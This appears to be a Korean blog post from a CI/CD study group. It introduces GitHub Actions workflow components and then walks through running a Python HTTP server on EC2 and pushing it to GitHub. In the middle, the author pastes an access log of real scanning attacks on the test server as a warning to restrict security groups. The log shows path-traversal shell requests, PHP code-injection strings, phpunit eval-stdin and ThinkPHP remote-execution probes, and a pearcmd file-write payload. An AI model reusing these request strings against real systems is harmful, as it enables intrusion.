지난 글에 이어 CloudNet@의 CI/CD 스터디를 진행한 내용을 담고 있습니다.
GitHub Actions란?
GitHub Actions는 GitHub에서 제공하는 CI/CD(Continuous Integration/Continuous Deployment) 도구로,
코드를 빌드, 테스트, 배포하거나 자동화된 워크플로우를 실행할 수 있도록 지원합니다.
사전적 의미로 "리포지토리에서 소프트웨어 개발 워크플로우를 자동화, 사용자 지정 및 실행"할 수 있는 서비스입니다.
쉽게 말하자면 "이벤트를 받아 코드가 동작하는 컴퓨터"입니다.
GitHub Actions의 주요 구성 요소
- Event (이벤트)
GitHub Actions를 트리거(실행)하는 조건으로, 주로 GitHub 저장소에서 발생하는 작업입니다.
예:push
: 코드가 특정 브랜치로 푸시될 때pull_request
: 풀 리퀘스트가 생성, 열림, 닫힘 등 상태 변경 시schedule
: 정해진 시간에 실행 (크론 표현식 사용)workflow_dispatch
: 사용자가 수동으로 워크플로우를 실행
on:
push:
branches:
- main
pull_request:
branches:
- develop
schedule:
- cron: "0 0 * * *" # 매일 0시에 실행
- Runner (실행기)
워크플로우를 실행하는 서버 또는 환경입니다.- GitHub-hosted Runner: GitHub에서 제공하는 가상 환경 (무료로 사용 가능).
- Ubuntu, Windows, macOS 등 OS 환경 제공.
- Self-hosted Runner: 사용자가 직접 구성한 머신에서 워크플로우 실행.
- 명령어와 스크립트를 실행.
- 의존성 설치, 테스트, 빌드 작업 수행.
- GitHub-hosted Runner: GitHub에서 제공하는 가상 환경 (무료로 사용 가능).
- Job (작업)
워크플로우 내에서 실행되는 독립된 작업 단위입니다.
여러 작업은 병렬로 실행되거나, 종속 관계를 설정하여 순차적으로 실행할 수 있습니다.
예시:
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v3
test:
runs-on: ubuntu-latest
needs: build # build가 끝난 후 실행
steps:
- name: Run tests
run: npm test
- Step (스텝)
각 Job 안에서 실행되는 작업의 세부 단계로, 실행하고자 하는 코드를 정의하는 부분입니다.- 명령어 실행:
run
키워드 사용. - Action 호출: GitHub에서 제공하는 Action 재사용.
- 명령어 실행:
steps:
- name: Checkout code
uses: actions/checkout@v3 # Action 호출
- name: Install dependencies
run: npm install # 명령어 실행
- name: Run tests
run: npm test
- Action (액션)
GitHub Actions의 재사용 가능한 작업 단위입니다.- 공식 GitHub Actions 또는 커뮤니티가 제공하는 액션을 사용하거나, 자신만의 커스텀 액션을 작성 가능.
- 액션은 GitHub Marketplace에서 검색할 수 있습니다.
steps:
- name: Use Node.js
uses: actions/setup-node@v3
with:
node-version: '16' # Node.js 버전 설정
전체 구조 예시
다음은 GitHub Actions 워크플로우의 전체적인 예제입니다.
name: CI/CD Workflow
on:
push:
branches:
- main
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v3
- name: Set up Node.js
uses: actions/setup-node@v3
with:
node-version: '16'
- name: Install dependencies
run: npm install
- name: Run tests
run: npm test
deploy:
runs-on: ubuntu-latest
needs: build # build가 완료된 후 실행
steps:
- name: Deploy application
run: npm run deploy
컴포넌트 요약
키워드 | 설명 |
---|---|
Event | 워크플로우를 실행시키는 트리거 이벤트 |
Runner | 워크플로우가 실행되는 환경 |
Job | 독립적인 작업 단위 |
Step | Job 내에서 실행되는 구체적인 작업 단계 |
Action | 재사용 가능한 단위 작업, GitHub 및 커뮤니티에서 제공 |
GitHub Actions는 CI/CD를 간단하게 설정하고 효율적으로 관리할 수 있게 해주는 강력한 도구입니다.
직접 개발 후 실행하기
ec2를 직접 프로비저닝하고 코드 이식 후 동작을 확인해 봅니다.
ec2에서 하기 코드를 이식하여 간단한 HTTP 서버를 올립니다.
cat > server.py <<EOF
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
from datetime import datetime
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
now = datetime.now()
response_string = now.strftime("The time is %-I:%M:%S %p, CloudNeta Study.\n")
self.wfile.write(bytes(response_string, "utf-8"))
def startServer():
try:
server = ThreadingHTTPServer(('', 80), RequestHandler)
print("Listening on " + ":".join(map(str, server.server_address)))
server.serve_forever()
except KeyboardInterrupt:
server.shutdown()
if __name__== "__main__":
startServer()
EOF
터미널을 두대를 띄워놓고, python server를 동작시켜서 동작 내용을 확인합니다.
curl localhost를 동작시킬 경우, 위와 같이 GET method로 호출된 이력을 확인할 수 있습니다.
블로그 작성중에 여러 공격 시도가 있었네요.. 테스팅 리소스는 어디까지나 테스팅하시고 sg를 myIP로 한정해서 사용합시다..
103.173.227.187 - - [15/Dec/2024 18:33:12] code 501, message Unsupported method ('POST')
103.173.227.187 - - [15/Dec/2024 18:33:12] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 501 -
103.173.227.187 - - [15/Dec/2024 18:33:13] code 501, message Unsupported method ('POST')
103.173.227.187 - - [15/Dec/2024 18:33:13] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 501 -
103.173.227.187 - - [15/Dec/2024 18:33:13] code 501, message Unsupported method ('POST')
103.173.227.187 - - [15/Dec/2024 18:33:13] "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 501 -
103.173.227.187 - - [15/Dec/2024 18:33:14] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:15] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:16] "GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:17] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:17] "GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:18] "GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:19] "GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:20] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:21] "GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:22] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:22] "GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:24] "GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:24] "GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:26] "GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:26] "GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:27] "GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:28] "GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:29] "GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:30] "GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:31] "GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:31] "GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:32] "GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:33] "GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:34] "GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:35] "GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:36] "GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:37] "GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:38] "GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:39] "GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:40] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:41] "GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:42] "GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:43] "GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:44] "GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:44] "GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:45] "GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:46] "GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:47] "GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:48] "GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:49] "GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5("hi"));?>+/tmp/index1.php HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:50] "GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1" 200 -
103.173.227.187 - - [15/Dec/2024 18:33:50] "GET /containers/json HTTP/1.1" 200 -
Github access token을 설정합니다
하기와 같이 repo, workflow의 권한을 줍니다.
cicd-2w라는 리포지토리를 만들어줍니다.
그런 다음, 서버에서 다음과 같이 설정합니다.
password는 토큰을 입력합니다.
#
GITUSER=<>
GITUSER=jflip
git clone https://github.com/$GITUSER/cicd-2w.git
tree cicd-2w/
cp server.py cicd-2w/
cd cicd-2w/
#
git status
git add .
git commit -m "first commit"
git push origin main
Username for 'https://github.com': <>
Password for 'https://jflip@github.com': <>
서버 실행
#
nohup sudo python3 server.py > server.log 2>&1 &
cat server.log
curl localhost
cat server.log
#
grep log .gitignore
*.log
#
git add .
git commit -m "add log file"
git status
수정 후 재실행합니다.
#
sed -i "s/CloudNeta/CICD/g" server.py
# 프로세스 종료
sudo ss -tnlp
sudo fuser -k -n tcp 80
sudo ss -tnlp
# 재실행
nohup sudo python3 server.py > server.log 2>&1 &
curl localhost
코드 푸시를 다시 해봅니다.
번거로운 과정이었는데 이런 내용을 자동화합니다.
#
git config --global user.name jflip
git config --global user.email jflip@gmail.com
git config --global credential.helper store
#
git add . && git commit -m "version update" && git push origin main
Username for 'https://github.com': <>
Password for 'https://jflip@github.com': <>
#
git push origin main
<<내용 추가중입니다.>>
'DevOps' 카테고리의 다른 글
[DevOps] Argo Rollouts (0) | 2024.12.23 |
---|---|
[DevOps] ArgoCD를 활용한 GitOps (0) | 2024.12.23 |
[OpenTofu] OpenTofu 1.9.0-alpha1 릴리즈: 주요 기능 및 다중 리전 인프라 배포의 유연성 (0) | 2024.11.12 |